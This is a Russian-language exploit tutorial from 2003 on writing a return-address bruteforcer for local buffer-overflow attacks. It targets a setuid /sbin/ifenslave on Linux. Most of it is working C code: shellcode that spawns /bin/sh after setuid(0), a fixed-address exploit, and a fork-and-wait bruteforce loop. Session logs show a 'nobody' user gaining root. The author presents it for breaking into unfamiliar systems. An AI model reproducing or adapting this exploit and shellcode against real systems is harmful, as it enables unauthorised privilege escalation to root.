19.10.2003

Написание брутфорсера ret-адресов для локальных эксплойтов переполнение буфера

В данной статье описана техника написания брутфорсера ret-адресов для локальных эксплойтов переполнения буфера. Зачем это нужно? Во-первых, при взломе какой-либо незнакомой системы, возможность пропустить уязвимый файл через дебаггер может быть затруднена (за недостатком привелегий, например), а по-другому нужный адрес можно узнать лишь перебором. Во-вторых, esp далеко не всегда указывает туда, куда нужно ;] Тоже надо подбирать offset. В-третьих, просто для повышения своей квалификации в программировании на cpp.

d4rkgr3y, d4rk AT SecurityLab.ru m00security.org

Введение

В данной статье описана техника написания брутфорсера ret-адресов для локальных эксплойтов переполнения буфера. Зачем это нужно? Во-первых, при взломе какой-либо незнакомой системы, возможность пропустить уязвимый файл через дебаггер может быть затруднена (за недостатком привелегий, например), а по-другому нужный адрес можно узнать лишь перебором. Во-вторых, esp далеко не всегда указывает туда, куда нужно ;] Тоже надо подбирать offset. В-третьих, просто для повышения своей квалификации в программировании на cpp. И вообще, наличие в любом локальном эксплойте брутфорсера придаёт ему универсальности. Статья написана в расчёте на продвинутого читателя. Знание c++, теории атак на переполнение буфера и хотя бы основ межпроцессного взаимодействия в *nix обязательно.

Техника

Главная проблема в написании брутфорсера - это как его остановить после того, как нужный адрес угадан, то есть, как программно определить, что наш шеллкод выполнен?

Вообще, способов на ум приходит много. Например, для самых маленьких, смотреть, выпала ли атакуемая программа в core =)

На мой взгляд, наиболее интересными будут вот эти два варианта:

  1. брутфорсить до тех пор, пока не получим uid=0 (это будет свидетельствовать о том, что выполнена функция setuid(0), то есть почти со 100%-тной вероятностью наш шеллкод). Этот способ реализован в эксплойте n-mysql.c от ech0 ;] Так что не буду на нём особо заостряться.
  2. брутфорсить чаилдом, перехватывая сигналы, которые он посылает при завершении. Соответственно, если там будет 11 (Segmentation fault), 4 (Illegal instruction) или ещё что-либо, отличное от нуля, значит потомок завершился некорректно, следовательно ret указал куда-то не туда и шеллкод не выполнился. Запутано, да. Программная реализация этого способа будет продемонстрирована ниже.
Рассмотрим переполнения буфера в линуксовой утилите /sbin/ifenslave (RedHat, Mandrake, SuSe):
(gdb) file /sbin/ifenslave
Reading symbols from /sbin/ifenslave...(no debugging symbols found)...done.
(gdb) r `perl -e 'print "A"x1000'`
Starting program: /sbin/ifenslave `perl -e 'print "A"x1000'`
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/10x $esp
0xbfffebc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffebd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffebe0:     0x41414141      0x41414141
"Классическое" переполнение буфера с перезаписью адреса возврата. Код рабочего эксплойта (проверен на mdk9.1):
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

static char shellcode[]=
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
	"\xc0\x88\x43\x07\x89\x5b\x08\x89"
	"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
	"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
	"/bin/sh";

#define NOP     0x90
#define RET     0xbffff687

int main(int argc, char **argv)
{
	int offset=55;
	char buffer[1000];
	long retaddr;
	int i;

	retaddr=RET+offset;

	for (i=0;i<200;i+=4) {
	*(long *)&buffer[i] = retaddr; //заполняем ret'ами первые 200b буфера
	}
	for (i=0;i<100;i++) {
		buffer[i+200] = NOP; //добавляем 100b nop'ов
	}
	for (i=0;i<strlen(shellcode);i++) {
		buffer[i+300] = shellcode[i]; //посимвольно добавляем шеллкод
	}

	execl("/sbin/ifenslave","/sbin/ifenslave",buffer,NULL); //запускаем
}
Проверяем:
[satan@localhost 0dd]$ gcc -o eee eee.c
[satan@localhost 0dd]$ ./eee
sh-2.05b# exit
exit
[satan@localhost 0dd]$
Тут всё понятно. А теперь, предположим, у /sbin/ifenslave стоит suid-бит и он лежит на отличном от mdk удалённом боксе, где у нас есть nobody-shell. Смотрим:
sh-2.05b$ whoami; ls -l /sbin/ifenslave
nobody
-rwsr-sr-x    1 root     root        11544 Sep  2  2003 /sbin/ifenslave
sh-2.05b$ gdb /sbin/ifenslave
(gdb) r
Starting program: /sbin/ifenslave
Couldn't get registers: Operation not permitted.
(gdb)
Вот как раз та ситуация, о которой я говорил вначале: на debug уязвимого приложения не хватает привелегий. Можно, конечно, поиграться с esp, но, опять же, как я говорил выше, это не всегда даёт нам желаемый результат. Выход один: bruteforcing...

Writing bruteforce

Подробная информация о его работе представлена в комментариях.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>

static char shellcode[]=
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
	"\xc0\x88\x43\x07\x89\x5b\x08\x89"
	"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
	"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
	"/bin/sh";

// Начальный ret, от которого собстно и будем отталкиваться.
// Взят в моём случае из gdb
#define RET     0xbffff687
#define NOP     0x90

int main(int argc, char **argv)
{
	int x=0, status, i;
	int offset=20; // <- положительный.
	char buffer[1000];
	long retaddr;
	pid_t pid;

	retaddr=RET+offset;
	printf("\n[+] 0dd ifenslave local root xpl ;D\n\n");
	printf("[~] Trying offset %d, addr 0x%x\n",x, retaddr);
	// 300 - предельное число, на которое RET может быть увеличен.
	// взял маленькое, для отладки. В боевых условиях оно должно быть
	// где-то в 100 раз больше.
	while(x<=300)
	{
		//создаём дочерний процесс
		if((pid=fork())==0)
		{

		 /* Child */

			// чайлд заново генерирует exploit buffer с новым 
                        // адресом возврата
			for (i=0;i<200;i+=4) {
				*(long *)&buffer[i] = retaddr;
			}
			for (i=0;i<100;i++) {
				buffer[i+200] = NOP;
			}
			for (i=0;i<strlen(shellcode);i++) {
				buffer[i+300] = shellcode[i];
			}
			// запускаем ifenslave - пытаемся эксплуатировать bof
			execl("/sbin/ifenslave","/sbin/ifenslave",buffer,NULL);

		/* END */

		}
		// в то время, как чайлд пытается эксплуатировать уязвимость в
                // ifenslave,
		// parent ждёт его завершения. Причём, номер сигнала, который 
                // пошлёт потомок после кончины,
		// будет помещён в переменную status.
		wait(&status);
		// пишем, какой сигнал получен. Опять же, для отладки.
		printf("[~] Received signal: #%i\n", status);
		// проверяем. Если номер соответствует нулю (0), значит чайлд 
                // завершился без ошибок,
		// то есть, после переполнения ifenslave продолжил работу,
                // _то_есть_, или выполнился шеллкод или
		// мы попали куда-то в cs :) (хотя это маловероятно), тооо ееесть,
                // ret верный и нам нет смысла продолжать
		// перебор.
		if(WIFEXITED(status) != 0 ) {
			printf("[+] Retaddr guessed: 0x%x\n[~] Exiting...\n", retaddr);
			exit(1);
		} else {
		// если же номер сигнала не соответствует нулю, значит возникли 
                // какие-то неполадки (SIGSEGV, SIGILL)...
		// Прибавляем к x и к retaddr смещение, и повторяем весь цикл: 
                // заново создаём чайлда, он пытается уже с
		// новым ret'ом получить шелл, ждём его, смотрим сигнал, 
                // попадаем  сюда )
			retaddr+=offset;
        		x+=offset;
			printf("[~] Trying offset %d, addr 0x%x\n",x, retaddr);
		}
	}
}
Хочу сказать пару слов о выборе начального RET-адреса. В реальных условиях, когда не известно даже примерно в какой части стэка лежит наш код, за ret можно взять:
  1. Значение регистра esp. Тогда offset стоит брать положительным, то есть при брутфорсе мы будем "двигаться" по стэку как бы вверх.
  2. 0xbfffffff - верхушку стэка, а offset отрицательным.
Что же касается величины самого offset'а, она прямопропорциональна величине payload ("посадочной площадки"). Хотя, чем меньше будем брать, тем надёжнее, чем больше, тем быстрей.

Итак, результат:

sh-2.05b$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
sh-2.05b$ gcc -o eee eee.c
sh-2.05b$ ./eee
[+] 0dd ifenslave local root xpl ;D
[~] Trying offset 0, addr 0xbffff69b
[~] Received signal: #8
[~] Trying offset 20, addr 0xbffff6af
[~] Received signal: #8
[~] Trying offset 40, addr 0xbffff6c3
[~] Received signal: #11
[~] Trying offset 60, addr 0xbffff6d7
[~] Received signal: #8
[~] Trying offset 80, addr 0xbffff6eb
[~] Received signal: #11
[~] Trying offset 100, addr 0xbffff6ff
[~] Received signal: #4
[~] Trying offset 120, addr 0xbffff713
[~] Received signal: #4
[~] Trying offset 140, addr 0xbffff727
[~] Received signal: #8
[~] Trying offset 160, addr 0xbffff73b
[~] Received signal: #4
[~] Trying offset 180, addr 0xbffff74f
sh-2.05b# id
uid=0(root) gid=0(root) groups=65534(nogroup)
sh-2.05b# exit
exit
[~] Received signal: #0
[+] Retaddr guessed: 0xbffff74f
[~] Exiting...
sh-2.05b$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Thanx to WithoutHead.
или введите имя

CAPTCHA